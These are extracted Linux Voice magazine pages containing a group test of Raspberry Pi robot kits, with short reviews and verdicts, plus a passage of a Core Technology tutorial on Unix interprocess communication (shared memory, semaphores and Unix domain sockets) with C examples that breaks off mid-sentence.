                                                              For each of the robots in this group     tested all of the functions that are
                                                           test we used the Raspbian operating         available for each of the robots.




 58                                                  www.linuxvoice.com
                                                                                     RASPBERRY PI ROBOTS GROUP TEST



Why use a kit?
BA Baracus used bits of old metal and a welding torch – why can’t you?


U
          sing robotics kits from the              questions when delving into the world of          relatively expensive when compared to the
          suppliers in this group test offers      robotics. A couple of years ago it was            SN754410NE range of controllers, which
          you a great introduction to              common for roboteers to create projects on        are cheap devices that come with two
robotics. This is thanks largely to the            breadboards using motor controllers. A            H-Bridges enabling the motors to work in
supplier taking away some of the choices           common controller was the L293D, which            two directions so your robot can spin on the
that you’d otherwise have to make. Finding         can work with DC motors like those that           spot and reverse away from an object.
the right motor controller can be difficult, for   come with RyanTeck’s kit, and stepper                As well as choosing the controller you
example: “Do I use the L293D or the                motors, which are precisely controlled            also need to find the right motors and power
SN754410NE series controller?”, “Does it           motors that can be driven one step at a time      supply, which can be trivial for those in the
have an H- Bridge?” these are both valid           using a pulse control method. The L293D is        know but rather intimidating for beginners.




4tronix Agobo
As cute as WALL-E but with a
Raspberry Pi at its heart.


W
             hen the Raspberry Pi Model A+
             was announced in 2014, the
             Raspberry Pi Foundation made it
very clear that the A+ was a stripped down
platform for robotics projects. The A+
comes with the full 40-pin GPIO (General
Purpose Input Output) but only one USB port
and 256MB of RAM. But these cost savings
reduce the price of the A+ to around £18,
and enable cheaper robotics projects to
become a reality.
   The Agobo is a unique robotics platform
for the Raspberry Pi in that it is solely based
on the A+. The Agobo is from 4tronix, a
company with a firm belief in providing            To keep costs down, a Raspberry Pi model A+ is your best bet.
a solid platform for development, both
physically and in code.                              Agobo is powered by a mobile phone              infrared to detect a line draw before the
   Agobo comes as a PCB (Printed Circuit           portable charger that connects via a Micro        Agobo. With these functions handled within
Board) onto which components are added.            USB port on the chassis; power is then            in a Python wrapper the user can easily get
The use of a PCB as a chassis provides a           shared between the Raspberry Pi and the           started with coding their Agobo; in fact we
rigid frame onto which components such             motors via a motor control circuit.               were able to develop a simple maze-solving
as the two micro gear motors are attached.                                                           project within 30 minutes of putting it all
The motors are low speed but high torque,          Programmability                                   together. Agobo is a platform for those that
and are firmly attached to the chassis.            All of this hardware is nothing without           want results be they new users who are
Agobo won’t break any land speed records,          software, and Agobo comes with a robust           eager to have their robot move or experts
but it does move with grace. Moving around         Python module that enables quick                  who want a simple, robust platform for their
the chassis we can see the mount points            development of a range of projects.               next project. The initial restriction of basing
for the A+, which hangs upside down, and           Functions such as motor control can be fine       the Agobo on the A+ is left behind by the
a socket to attach an ultrasonic sensor.           tuned to deliver accurate responses.              simplicity of the package as a whole, and
There are also connections for serial and I2C      Tinkering with the speed of the motor is          besides, you did need a reason to buy a new
(Inter-Integrated Circuit) communications to       handled as an argument in the functions for       Raspberry Pi A+.
and from your A+. Underneath the chassis           forward, backward, left and right movement.
there’s a ball caster to balance Agobo and         Impressively the Agobo module also                  VERDICT
                                                                                                       The use of the PCB as a
on either side of this there are two sensors       handles the rather tricky task of calculating       chassis gives the package
used as input for Agobo to precisely follow        distances using the ultrasonic sensor and           great strength.
a line.                                            the line-following sensors, which use



                                                               www.linuxvoice.com                                                                59
     GROUP TEST RASPBERRY PI ROBOTS


RyanTeck Robot Kit
A budget robot kit from a 17 year old whizz kid!


T
        he RyanTeck board on test here       accomplished in two ways: using
        comes as a kit (RTK-000-003)         Simon Walters’ ScratchGPIO and via
        which can be bought ready            Python. For Scratch and Python, the
made for a few extra pounds, or you          manufacturer has chosen not to use a
can solder your own board which is           Python library to control the robot;
remarkably easy to do. The kit               instead the board uses the RPi.GPIO
comprises the motor control board,           library to control the pins of the
chassis, motors, wheels, Wi-Fi dongle        Raspberry Pi. To control the motors, the
and battery pack. Assembling the kit is      RyanTeck board uses an SN754410NE
straightforward, requiring only a            chip containing an H-Bridge, enabling
screwdriver to build the chassis and         bi-directional control of a single motor   You can control the RyanTeck RTK-000-003 though the
secure any model of Raspberry Pi to          (in other words enabling a motor’s         Scratch programming language, so it’s great for kids.
the chassis.                                 direction to be changed without any
   The RyanTeck board was designed           hardware modifications). By enabling                        The RyanTeck RTK-000-003 is a
for the Raspberry Pi A and B models,         the motors to work in two directions,                     great platform to build upon, the mix
and so comes with a 26-pin GPIO              the RyanTek robot is extremely fast and                   of a simple programming language
connection, but the board will work on       nimble, able to turn on the spot and                      and easy access to the GPIO is a great
all models of Raspberry Pi including the     change direction exceptionally quickly.                   benefit to those that are looking to use
new Raspberry Pi 2 released in                                                                         the board in their own adventures.
February 2015. The board also comes
with a GPIO passthrough enabling             “The RyanTeck RTK-000-003                                   VERDICT
access to the GPIO pins for                  was designed for the model A                                A solid and simple robot


                                             and B Raspberry Pis.”
                                                                                                         platform that works
components such as sensors.                                                                              across all Pi models.
Programming the RyanTeck kit can be




Pi2Go Lite
The big brother to Agobo comes with more of everything. But is bigger better?


P
         i2Go Lite is another sturdy         wheel. Programming Pi2Go Lite is
         robotics platform from 4tronix.     accomplished using ScratchGPIO, again
         It is slightly older than the       thanks to Simon Walters’ great work on
Agobo, but the Pi2Go does not scrimp         the project, and via a very detailed
on features – it’s got more sensors          Python module that works with all the
than the starship Enterprise. First of all   Pi2Go range of robots.
the Pi2Go uses the same PCB chassis             The Python library is similar to that
principle as the Agobo, and this             used with the Agobo; in fact, the Agobo
sandwiches many layers of PCB around         library is an evolution of the Pi2Go
a Raspberry Pi, of which all models are      library. The Pi2Go library handles the
supported. Pi2Go Lite requires               use of the many sensors and provides       Despite its name, the Pi2Go Lite offeres far more in te way
assembly and this includes soldering         a level of abstraction that benefits the   of sensors than the other 4tronix robot on test.
components to the PCB, it took us            user greatly. For example using the
around 1 hour to solder the kit, and this    getDistance() function we can easily                      main issue that some users will face is
was due to the high number of                find the distance of an object from                       the assembly as it is rather involved but
components and sensors that come             Pi2Go. Speed is also fully controllable                   not impossible. If you are handy with
with it.                                     thanks to the motor function and its                      a soldering iron then you have a great
   Pi2Go Lite has a plethora of sensors:     PWM (Pulse Width Modulation), which                       soldering and robotics project.
from the bottom up we have infrared          provides fine control of both of the
line sensors, an ultrasonic sensor and       robot’s motors.                                             VERDICT
light-dependent resistors, to detect                                                                     Pi2Go Lite is a
                                                                                                         challenging platform that
proximity to objects. Pi2Go Lite also        Lots going on                                               will test all of your maker
comes with wheel sensors to enable           Pi2Go Lite is an expansive platform for                     skills.

extremely precise control of each            robotics and is a pleasure to use. The



60                                                           www.linuxvoice.com
                                                                                           RASPBERRY PI ROBOTS GROUP TEST


Pi Camera Robot                                                                                        Pi Wars
Tinker tailor robot Pi?
                                                                                                       Awooga!


                                                                                                       T
                                                                                                                here are many Raspberry Pi roboteers
                                                                                                                around the world and each have built
                                                                                                                their own “perfect” robot. From lollipop
                                                                                                       sticks and glue to carbon fibre aerodynamic
                                                                                                       super robots, there’s a model of robot to suit
                                                                                                       every need. But where can these robots meet
                                                                                                       to compete and find the ultimate robot? Well
                                                                                                       that place is Pi Wars, an event inspired by the
                                                                                                       television series Robot Wars, but without Craig
                                                                                                       Charles and chainsaws.
                                                                                                          Pi Wars was created by the Cambridge
                                                                                                       Raspberry Jam team, who are Michael Horne
                                                                                                       and Tim Richardson. Robots are entered into a
                                                                                                       series of tests including three-point turns,
                                                                                                       which is a tricky procedure when driving, so for
                                                                                                       a robot it requires careful planning plus motors
                                                                                                       that are controlled via an H-Bridge for reverse
                                                                                                       gear. Another test is straight-line speed, for
The Pi Camera Robot provides an ideal platform for tinkerers to experiment.                            which a light robot with low torque motors is a
                                                                                                       must. It would be foolish to enter the



D
         awn Robotics has a long history of          configured to work out of the box, or you         DiddyBorg in this test, but RyanTeck’s robot
         creating robots for the Raspberry           can setup the software yourself using             would do well. There are also points awarded
         Pi and its Pi Camera Robot is part          the guide on Dawn Robotics’ website.              for code quality and the aesthetics of your
of a long line of fully hackable robots. The         Using a compatible Wi-Fi dongle the Pi            robot, and there were some wacky robots on
Pi Camera Robot works with all models of             Camera Robot creates an access point              display in 2014 including a robot pirate ship.
Raspberry Pi and comes with an                       (AP) which enables a rather novel ability:           Pi Wars is free to enter and the team are
impressive array of motors and servos.               remote control! Thanks to the Raspberry           thinking of putting on the event in 2015. Could
   Starting with the basic chassis, we have          Pi camera and a Python script to stream           your robot win and dominate the competition?
two tiers that provide a stable platform             the video, from the camera to a web page          There’s only one way to find out. You can learn
for two DC motors, which are secured                 being run from a web server on the robot,         more via the website at http://piwars.org and
to the lower tier via an intricate series            we can control the robot remotely using           signing up to the mailing list: http://piwars.
of struts. On the lower strut we have a              a tablet or mobile phone. By connecting           org/mailing-list.
battery box that supplies all the power for          to the robot’s AP and navigating to the IP           Robotics is a really great way to learn
the Raspberry Pi, motors and servos. On              address of the robot you will see a simple        electronics, programming and problem solving
the top layer we have the hardware that              series of controls for the motors and             and would be a brilliant activity for schools to
controls the robot.                                  servos, along with a streamed video taken         get involved with in a cross curricular activity.
                                                     by the Pi camera. From the web interface
Spy bot                                              you can easily control the robot and see
We start with a Raspberry Pi (not                    where it’s going; you have full control over
included) and to the rear of the Pi is a             the direction of the motors and the servos
motor controller board, which is Arduino             for the camera.
powered. This motor control board comes                 The Pi Camera Kit comes with a Python
with an Arduino sketch loaded on to it, so           library which can be used to program
there is no need to write your own Arduino           the robot to act autonomously, including
code – but you can if you wish, and this is          streaming the video stream thus creating
the spirit of this robot kit, it is definitely for   your own spy bot! The kit is a little tricky to
tinkerers. At the front of the robot we have         put together but perseverance really does
a pan and tilt mechanism made up of two              pay off.
servos. This controls the Raspberry Pi
Camera (not included) and enables the                 VERDICT
robot to be remotely controlled.                      The sheer expandability
                                                                                                       Around 20 robots competed at the first Pi Wars
                                                      of the platform provides a
   The hardware of the kit is just one                strong reference point for                       competition, at the University of Cambridge’s
side of the story. For a few extra pounds             future projects.                                 Astronomy building.
you can purchase an SD card which is



                                                                      www.linuxvoice.com                                                                61
     GROUP TEST RASPBERRY PI ROBOTS


Diddyborg
When the robot apocalypse happens, this will be leading the charge!


P
         iBorg is a specialist company
         whose area of expertise is
         robotics, so choosing its
DiddyBorg for our advanced category
was a no-brainer. We reviewed an
earlier PiBorg robot, PiCy in issue LV002
and we found it to be an excellent
introduction to the world of robotics.
   What we have with DiddyBorg is a
serious robot for serious roboteers.
DiddyBorg is a six-wheeled robot that
resembles a small tank. Each of the
wheels is driven by a 6-volt low-speed
but high-torque geared motor, so
DiddyBorg isn’t fast but it can move
across many different terrains. Each of
the motors is connected to PiBorg’s
own motor control board – PiBorg
Reverse – which is a seriously powerful
board that can control different types of
motors such as those that come with
DiddyBorg and stepper motors.
   To supply power to the Raspberry Pi
and the many other components,              The DiddyBorg’s high-torque motors make it ideal for pushing and pulling, rather than speed.
PiBorg provides BattBorg, a power
converter that enables you to run the         Unlike the other robots on test                            will undoubtedly keep the kids busy,
Raspberry Pi from four AA batteries. It     DiddyBorg does not come with a                               and a few adults.
will work with voltages between 7V and      sensor platform, so you will not find                           DiddyBorg is compatible with all
36V, enabling you to use really large       any ultrasonics or line-following                            models of Raspberry Pi, including the
motors with your DiddyBorg. By              sensors. What DiddyBorg does use is                          latest Pi 2. When it comes to GPIO
coupling BattBorg to PiBorg Reverse we      the Raspberry Pi Camera to enable it                         (General Purpose Input Output) pins
have a regulated and powerful platform      to “see” the world around it; indeed one                     DiddyBorg is very frugal, using only six
on which the motors can be used.            of the test programs that comes as                           GPIO pins for all of its functionality, and
   The kit itself contains everything       standard is a ball-following script that                     this is thanks to PiBorg Reverse using
                                                                                                         I2C (Inter-Integrated Circuit), which

“DiddyBord is compatible with all models                                                                 needs only two wires to enable

of Raspberry Pi, including the latest Pi 2.”
                                                                                                         communication between PiBorg
                                                                                                         Reverse and your Raspberry Pi. I2C also
                                                                                                         enables many PiBorg Reverse boards
                                                                                                         to be “daisy chained” together thus
that you need to build DiddyBorg,           enables DiddyBorg to track a coloured                        creating a chain of motors controlled
comprising of laser cut perspex layers      ball rolling around a room.                                  via a series of boards.
held together with chunky screws and                                                                        In our tests nothing stood in the
metal plates, this robot is a tank.The      Coding DiddyBorg                                             DiddyBorg’s way – not even a chair
6V motors directly drive each wheel         Python is the preferred language, and                        leg, which it tried to climb and then
using a locking hub that attaches           PiBorg provides a series of example                          promptly bounced off. DiddyBorg is a
directly to the motor and also to the       applications that show the range of                          beast of a robot.
rather chunky “monster truck” tyres         strengths that DiddyBorg has. The
that provide stability for your robot.      most basic test runs a pre programmed                          VERDICT
It takes around two to three hours to       routine that sees DiddyBorg navigate a                         A seriously powerful robot
assemble DiddyBorg and does require a       square in the room and then spins                              for advanced roboteers.
                                                                                                           Its rugged design and
little soldering to connect the motors to   DiddyBorg in a circle. From this most                          readily available
PiBorg Reverse. Full build instructions     basic test we move up to joystick                              replacement parts enable
                                                                                                           it to get anywhere.
are available from the PiBorg website       control using Bluetooth and a Sony
and are best enjoyed with a cup of tea.     Playstation 3 controller, something that



62                                                           www.linuxvoice.com
                                                                                 RASPBERRY PI ROBOTS GROUP TEST




    OUR VERDICT
Raspberry Pi robots                                                                             Best for newcomers
                                                                                                4Tronix Agobo
E
        ach of the robots in this         offers a great sensor platform and
        group test was chosen             strong construction thanks to its
        because it’s are the best in      PCB based chassis. If your passion     http://4tronix.co.uk/store/index.php?rt=product/
                                                                                 product&product_id=433
its (admittedly subjective) category.     lies in creating a multipurpose
                                                                                 Simplicity itself to use and configure. Programmable via
Rather than say “x is better than y”      robot that comes with servos and       Scratch and Python and jam packed full of sensors.
we chose robotics platforms that          a seriously configurable control
complement the level of the user.         platform then Dawn Electronics’ Pi
   For the beginner there’s no better     Camera Robot is a great starting                      Best for improvers
starting point than 4Tronix’s Agobo,
based on the Raspberry Pi Model
                                          point for advanced builds with
                                          skilled hands. Finally PiBorg’s
                                                                                                RyanTeck Robot Kit
A+ and coming in at under £60 this        DiddyBorg is a tough-as-nails
                                                                                 http://store.ryanteck.uk/collections/ryanteck-ltd/
is a great way to cut your teeth. The     platform for rugged projects that
                                                                                 products/ryanteck-budget-robotics-kit-for-raspberry-

“Each one of our robots is an ideal
                                                                                 pi?variant=742664667
                                                                                 Simple to use thanks to its Scratch and Python libraries.

platform for various levels of user.”
                                                                                 But where this robot excels is providing a platform for
                                                                                 experimentation.

mix of easy to use hardware and           need motors with powerful torque
very simple Python code makes             as well as plenty of GPIO pins for                    Best for intermediate
this ideal for children who want to       sensors.                                              Pi2Go Lite
start in robotics.                          So which is the best robot? Well
   Users who need a little more           that answer relies on you dear         http://4tronix.co.uk/store/index.php?rt=product/
flexibility would do well to choose       reader. What would you like to do      product&product_id=400
RyanTeck’s great chassis, which           with a robot? Are you skilled with a   The big brother of the PiBorg Agobo comes with plenty of
provides a strong platform for            soldering iron? Do you know which      sensors attached to its chassis and is a complete package
invention no matter what version of       sensors you would like to use? The     from day one.
Raspberry Pi you have. If you want        robots in this group test all have
a package that’s ready to go and
tough enough to withstand wear
                                          their pros and cons but each one is
                                          an ideal platform for various levels
                                                                                                Best for intermediate /
and tear, then 4Tronix’s Pi2Go Lite       and ages of users.                                    advanced Camera Robot
                                                                                 www.dawnrobotics.co.uk/raspberry-pi-camera-robot-
                                                                                 chassis-bundle
                                                                                 A flexible platform for adapting and creating your own robot
                                                                                 package. Excellent use of Raspberry Pi and Arduino to provide
                                                                                 such a plethora of possibilities.


                                                                                                Best for advanced
                                                                                                DiddyBorg
                                                                                 https://www.piborg.org/diddyborg
                                                                                 A six wheeled tank that shows no mercy – well, except for its
                                                                                 easy to use Python library.
If you have £300+ to spare, the Rapiro has 12 servos to program with your Pi.



                                                                www.linuxvoice.com                                                               63
     SUBSCRIBE




SUBSCRIBE              shop.linuxvoice.com
                                                                        Introducing Linux Voice,
                                                                        the magazine that:
                                                                          Gives 50% of its profits
                                                                        back to Free Software
                                                                          Licenses its content
                                                                        CC-BY-SA within 9 months

                                                                        12-month subs prices
                                                                        UK – £55
                                                                        Europe – £85
                                                                        US/Canada – £95
                                                                        ROW – £99

                                                                        7-month subs prices                               DIGITAL
                                                                        UK – £38                                          SUBSCRIPTION
                                                                        Europe – £53
                                                                        US/Canada – £57
                                                                                                                          ONLY £38
                                                                        ROW – £60


         Get 114 pages                                     Access our                                         Save money on
          of tutorials,                                  rapidly growing                                       the shop price
      features, interviews                            back-issues archive                                    and get each issue
          and reviews                                 – all DRM-free and                                        delivered to
          every month                                  ready to download                                         your door

               Payment is in Pounds Sterling. 12-month subscribers will receive 12 issues of Linux Voice a year. 7-month
            subscribers will receive 7 issue of Linux Voice. If you are dissatisfied in any way you can write to us to cancel your
                      subscription at subscriptions@linuxvoice.com and we will refund you for all unmailed issues.



64                                                         www.linuxvoice.com
                                                                                                                                         NEXT MONTH



                                 NEXT MONTH IN



ON SALE                                                                                   EVEN MORE AWESOME!
THURSDAY
                                                                                                                                             Bristol dynamics
 28 MAY                                                                                                                                      Boston Dynamics
                                                                                                                                             has the frankly
                                                                                                                                             terrifying Big Dog
                                                                                                                                             robot. Ben’s shed
                                                                                                                                             has a Bristolian



                        BEST
                                                                                                                                             equivalent: a
                                                                                                                                             two-legged, Python
                                                                                                                                             powered walker bot.



                       DISTRO                              2015
                                                                                                                                             Sonic Pi
                                                                                                                                             Meld Minecraft,
                                                                                                                                             music and the
                                                                                                                                             Raspberry Pi into the
                                                                                                                                             ultimate child-
                                                                                                                                             distraction unit for
                                                                                                                                             the long, long
                                                                                                                                             summer holidays.



                                                                                                                                             Inside the kernel
WHAT DISTRO?                                                                                                                                 We go inside the elite
                                                                                                                                             group of kernel
                                                                                                                                             developers to bring
Power user? Beginner? Find the best distro                                                                                                   you the inside story
for you with our all-singing, all-dancing guide                                                                                              of how Linux is made.
                                                                                                                                             Be warned – there
to the Linux landscape.                                                                                                                      may be swearing
                                                                                                                                             and anger…




       LINUX VOICE IS BROUGHT TO YOU BY
Editor Graham Morrison           Editorial consultant Nick Veitch                through the use of advice in this magazine.   Copyright Linux is a trademark of Linus
graham@linuxvoice.com            nick@linuxvoice.com                             Experiment with Linux at your own risk!       Torvalds, and is used with permission.
Deputy editor Andrew Gregory                                                     Distributed by Marketforce (UK) Ltd, Blue     Anything in this magazine may not be
andrew@linuxvoice.com            All code printed in this magazine is licensed   Fin Building, 110 Southwark Street, London,   reproduced without permission of the
Technical editor Ben Everard     under the GNU GPLv3                             SE1 0SU                                       editor, until January 2016 when all content
ben@linuxvoice.com                                                               Tel: +44 (0) 20 3148 3300                     (including our images) is re-licensed
Editor at large Mike Saunders    Printed in the UK by                                                                          CC-BY-SA.
mike@linuxvoice.com              Acorn Web Offset Ltd                            Circulation Marketing by Intermedia Brand     ©Linux Voice Ltd 2014
Creative director Stacey Black                                                   Marketing Ltd, registered office North Quay   ISSN 2054-3778
stacey@linuxvoice.com            Disclaimer We accept no liability for any       House, Sutton Harbour, Plymouth PL4 0RA
                                 loss of data or damage to your hardware         Tel: 01737 852166                             Subscribe: shop.linuxvoice.com

                                                                    www.linuxvoice.com
      CORETECHNOLOGY




                                  CORE
Valentine Sinitsyn develops
high-loaded services and
teaches students completely
unrelated subjects. He also has
a KDE developer account that
                                  TECHNOLOGY
he’s never really used.           Prise the back off Linux and find out what really makes it tick.

Interprocess communication
Processes are isolated self-contained units, but sometimes they also need to talk to each other.


H
           ello everyone, and welcome to           Rago jointly authored an excellent book,               We are not concerned with business logic
           classes. My name is Dr Sinitsyn,        Advanced Programming in the UNIX                   now, but re-read the previous sentence again
           and as Dr Brown has retired, I’ll be    Environment, 3rd Edition, which covers all of      and think for a moment: how could barmand
your new Core Technologies coach. It is my         them in detail, and I suggest you get it before    (a separate process) read the memory of
pleasure to stand in front of you, even if         doing any serious Linux programming. But           scheduler (another process)? Memory
virtually, and I hope you’ll be enjoying it as     for starters, I’ll tell you a story.               protection forms the basis of many reliability
well. We are going to continue to uncover                                                             and security features that we enjoy in Linux,
the most fundamental, most fascinating and         Common data                                        so how could a small thing named barmand
most obscure locations in Unix and                 At the beginning of century, I was involved in     circumvent it?
networking technologies.                           the development of banner network system.              The short answer is it didn’t. Unix has a
   Our latest subject will be Interprocess         In those days, network advertising was less        way to peek into selected chunks of another
Communication, or IPC. Do I see a hand             obtrusive and much less sophisticated than         process memory, and even modify data
raised in the far corner? You think you            now. Basically, we only needed to target           there. Granted, it is accomplished in a tightly
already learned sockets as an IPC                  ads by visitor’s city, local time and date (say,   controlled manner and is subject to
mechanism in issue 6? Good! Sockets are            weekends only), and a few other things.            permission checks. The way it works is
indeed the way to go if the communicating          To meet these goals, we had two Unix               called System V shared memory, and it is
processes run on different machines.               daemons: scheduler and barmand. The job            arguably the simplest IPC method. It also
However, there are also dedicated efficient        of scheduler was two fill large in-memory          has a minimal overhead, as after you map a
means for local communications.                    bitmap tables, and barmand used them to            “foreign” memory into your process address
   Unix comes with a vast variety of IPC           determine a subset of banners of potential         space, no further actions on the OS’s side
mechanisms. Richard Stevens and Steven             interest to the visitor (at least, we hoped so).   are required until you decide to unmap it.
                                                                                                          To map a chunk of memory, you need to
                                                                                                      refer to it somehow. The solution is to use
                                        Physical memory                                               the System V IPC key, which is a unique
        Process 20663                                                 Process 23098                   integer associated with shared memory
                                                                                                      segment. We’ll also need some way to pass
        0xdac00
                                                                                                      it to all processes that share memory. This is
                                                                                                      easy if processes involved are in a parent–
                                                                                                      child relationship, but may involve some
                                       0xcf67b00
                                                                                                      external means like configuration files for
                                                                                                      completely unrelated processes.
        0x2356000                                                                                         Usually, you don’t concern yourself with all
                                                                                                      these details. The standard C library
                                                                                                      provides the ftok() function, which accepts a
                                                                      0x7f0514c81000
                                                                                                      path to an existing file (maybe a process
                                                                                                      executable) and some non-zero value
                                                                                                      labelled proj_id (which can be hardcoded) to
                                                                                                      produce a System V IPC key that fulfils all
                                                                                                      these requirements. After that, you
Basically, a shared memory segment is just a set of physical memory pages mapped two or more          associate the key with a shared memory
times, possibly to different processes.                                                               segment via the shmget() system call.



66                                                             www.linuxvoice.com
                                                                                                                     CORETECHNOLOGY

Finally, you attach (map) the segment with              the current process address space. If you
shmat(). You can detach segments no                     want it to be at specific address, pass it as a
longer needed with shmdt().                             second argument instead of NULL.
  Consider (or, even better, type in and                Detaching a segment is not strictly
compile) the following code. Let’s call it              necessary here, as Linux does this
shmwrite.c and omit error handling for                  automatically when the program exits.
brevity:                                                Keeping things clean after yourself is always
#include <stdlib.h>                                     a good habit, however.
#include <string.h>                                       The code to print a string stored in this
#include <sys/types.h>                                  shared memory segment is very similar:
#include <sys/ipc.h>                                    key = ftok(“/etc/hostname”, PROJ_ID);
#include <sys/shm.h>                                    shmid = shmget(key, SEG_SIZE, 0600);              Unix sockets are at the base of D-Bus, which
                                                        seg = (char *)shmat(shmid, NULL, SHM_RDONLY);     vital for modern Linux desktop. This context
                                                                                                          menu is also a result of IPC.
#define PROJ_ID                      903                printf(“%s\n”, seg);
#define SEG_SIZE         4096                           shmdt(seg);
                                                           This should go into main() of shmread.c.       controls railroad traffic, IPC semaphore
int main(int argc, char **argv)                         Note that we request read-only access to an       serialises process access to a resource but
{                                                       already existing segment here.                    only as long as all processes obey the
  key_t key;                                               Try both these programs in action; for         semaphore signals. If only one train ignores
  int shmid;                                            instance, run ./shmwrite “Hello, IPC world!”.     semaphore, there will be a crash. In Unix, the
  char *seg = NULL;                                     Then, execute ./shmread and see the same          situation is the same (albeit the
                                                        message printed. Note that unlike “ordinary”      consequences are hopefully less dramatic).
    if (argc < 2)                                       memory you allocate with malloc(), shared            Semaphore is operated very similarly to
       exit(1);                                         memory survives program termination. To           shared memory segment (and other System
                                                        “free” it, use the shmctl() system call or        V IPC primitives that we don’t cover here).
  key = ftok(“/etc/hostname”, PROJ_ID);                 ipcrm command (see below). Anyway, the            You use an ftok()-generated key to obtain a
  shmid = shmget(key, SEG_SIZE, IPC_CREAT |             segment will remain available until the last      semaphore identifier with semget(), then
0666);                                                  process detaches it. Brave souls can now          you can call semop() to perform semaphore
  seg = (char *)shmat(shmid, NULL, 0);                  play with permissions and see how they            operations. But what are they?
  strncpy(seg, argv[1], SEG_SIZE);                      affect the behaviour.                                At its most basic level, semaphore is
  shmdt(seg);                                              Let’s make things a bit more interesting.      simply an array of zero-initialised counters.
                                                        Take some large file (maybe one of your           You can increment or decrement them, or
    return 0;                                           logs) and send it to shmwrite line-by-line, in    check if semaphore stores a non-zero value.
}                                                       a fashion similar to this:                        What’s the trick, you ask? Semaphore can
   Here, we attach 4k (one page) of memory              while read LINE; do                               never become negative: if you try to
and write a string passed as a command                    ./shmwrite “$LINE”                              decrement a counter too much, semop() will
line argument at its beginning. The key is              done < /var/log/file                              block until some other process increments it
created from /etc/hostname and PROJ_ID                    In another shell (or perhaps a tmux             enough. There is also the “wait-for-zero”
arbitrarily set to 903. Also pay attention to           window, see LV013), run shmread in a              operation, which blocks semop() until
the shmget() call. We specify a desired                 similar loop:                                     semaphore is zeroed. You can request
segment size, and that we want it created               while true; do                                    semop() to perform more than one
(IPC_CREAT). More interestingly, we set                   ./shmread                                       operation at time, and they will happen
access permissions much the same way we                 done                                              atomically. Either all operations will succeed
do it for ordinary files. Here, the segment will          You may expected this to behave like a          or none of them, and no process will be able
be world-readable and writable. shmat()                 poor man’s terminal-to-terminal copy utility,     to interleave between semop() checking a
returns a pointer to a memory segment in                but what does it really do? Try it yourself,      semaphore value and changing it. This is
                                                        and check the answer below.                       very different from naive implementations
                                                                                                          using a shared integer variable.
    More to try                                         One at time                                          For our case, we need semaphore with
    The IPC primitives we cover here are arguably       The code should “mostly work”, however            two counters: the read lock and the write
    the most popular ones in Linux. But historically,   strings may occasionally appear cut off or        lock. When shmwrite wants to change
    Unix provided many more mechanisms, and             mangled. This is a typical example of “race       shared memory contents, it increments the
    they are still available.
                                                        condition”: both programs compete for the         write lock, and decrements it back when
       First, there are named pipes or FIFO
    channels. As non-abstract Unix sockets, they        single memory region. Say, shmwrite may           done. shmread waits for the write lock to
    look like a special file (you can create one with   overwrite a string that shmread is printing       become zero and increments the read lock,
    the mkfifo command), and they are good for          now. To fix this, we need to serialise memory     which in turn waits for zero in shmwrite.
    piping output between unrelated processes.          access.                                           This makes running shmwrite and shmread
    There are also message queues that may come
                                                          There is a dedicated System V IPC               mutually exclusive. Multiple readers and
    handy if your process communication fits into a
    messaging pattern.                                  synchronisation primitive, and it’s called        writers are permitted though, which may not
                                                        “semaphore”. Akin to real semaphore that          be what you want (but is OK in our case).



                                                                         www.linuxvoice.com                                                              67
      CORETECHNOLOGY

                                                                                                       non-networked process communication.
                                                                                                       Basically, Unix domain sockets just copy
                                                                                                       data from the buffer in one process to
                                                                                                       another. Network sockets, on other hand,
                                                                                                       pass it to the network stack for protocol
                                                                                                       parsing, checksumming, firewalling and
                                                                                                       doing all other funky things you don’t need
                                                                                                       for local data.
                                                                                                         This particular socket is from D-Bus,
                                                                                                       which is a very important thing to tie all
                                                                                                       components in modern desktop Linux
                                                                                                       system together. Note that it also has
                                                                                                       permissions associated, but given the role it
                                                                                                       plays, anyone can connect to it.
                                                                                                         Unix domain sockets are very similar to
                                                                                                       TCP or UDP sockets we discussed in back
                                                                                                       LV007. The only notable difference is that
                                                                                                       Unix sockets belong to AF_UNIX, not AF_
                                                                                                       INET, and you specify a filesystem path
A typical Linux system will have many shared memory regions (mostly private, as the zero key           rather than an IP address for them. To draw
suggests), and a few semaphores as well.                                                               the parallels, we’ll take the UDP example
                                                                                                       code from LV007 Core Technologies and
   The synchronisation code for shmread           “wait-for-zero” operation if it is zero. Please      adapt it slightly. Only the relevant parts are
and shmwrite is almost identical and looks        spend a second understanding how lock                shown below to save space, but the
like this:                                        and unlock operations are expressed in               complete original code can be found at
...                                               these terms. The operations aren’t undone            www.linuxvoice.com/mag_code/lv07/
#include <sys/sem.h>                              automatically on process termination unless          coretech007.tar.
                                                  you include SEM_UNDO in sem_flags (the               #define SOCKET_PATH “/tmp/coretech”
/* This is for shmread.c */                       third field). It is really bad idea to exit having   ...
struct sembuf rlock[2] = {                        semaphore locked. Other processes may                struct sockaddr_un server;
   1, 0, 0,                                       spend ages waiting for it to unlock, which           sock = socket (AF_UNIX, SOCK_DGRAM, 0);
   0, 1, SEM_UNDO                                 may never happen in this scenario.                   server.sun_family = AF_UNIX;
};                                                   With this fix in place, you should no longer      strncpy(server.sun_path, SOCKET_PATH, sizeof
struct sembuf runlock = {                         see broken strings. The reader can still lose        server.sun_path);
   0, -1, 0                                       some text, however, as it has no way to                 Let’s see what’s going on here. First,
};                                                signal to the writer whether it is done with         server is now of the type struct sockaddr_
                                                  the current line. In a nutshell, semaphores          un (for Unix), not sockaddr_in as before.
int main(int argc, char **argv)                   are similar to pthread mutexes except they           Next, family is set to AF_UNIX both in server
{                                                 work system-wide across processes, not               and in the socket() call, and we also set the
  ...                                             threads that share a single address space.           socket path (sun_path) member to /tmp/
  semid = semget(key, 2, IPC_CREAT | 0666);       We discussed the System V flavour here;              coretech. Special files like sockets are
  semop(semid, &rlock[0], 2);                     there are also POSIX semaphores, which are           usually kept either in /tmp for short-lived
  printf(“%s\n”, seg);                            somewhat simpler to use.                             processes or in /run for system-level
  semop(semid, &runlock, 1);                                                                           daemon services. A similar change was
  ...                                             Sockets revisited                                    done to client code, and you should also
}                                                 Shared memory enjoys the benefits of                 disable broadcasting, but everything else
   Note we re-use the shared memory key           being lightweight, but sometimes you need            stays pretty much the same.
for the semaphore. Again, we start with           a higher-level abstraction. Sockets come                If you run this program, you’ll see random
semget() that creates semaphore if it             in handy here, and although two Linux                numbers flowing through the console.
doesn’t exists and sets up permissions. The       process can certainly communicate via two            Maybe it’s not too impressive now, but Unix
second argument is number of semaphores           TCP or UDP sockets (presumably, bound                sockets can also do some magic that
(counters) we want. Here, we need two: read       to a loopback device), there is a better             standard networking sockets just can’t (we’ll
